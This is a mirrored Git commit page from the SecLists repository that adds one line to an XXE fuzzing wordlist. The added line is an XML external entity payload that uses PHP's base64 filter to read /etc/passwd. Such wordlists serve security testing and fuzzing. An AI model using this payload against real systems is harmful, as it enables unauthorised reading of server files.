danielmiessler/SecLists
1
0
Fork 0
mirror of https://github.com/danielmiessler/SecLists.git synced 2024-10-26 18:20:14 +03:00
Code Issues Projects Releases Wiki Activity

Close ##152 - PHP base64 filter file read (XXE_Fuzzing)

Browse Source
This commit is contained in:
g0tmi1k 2018-03-21 16:13:09 +00:00
parent 1863878864
commit 26cf832f9d
1 changed files with 1 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
Fuzzing/XXE-Fuzzing.txt
View File

@ -1,3 +1,4 @@
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]>
<!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root>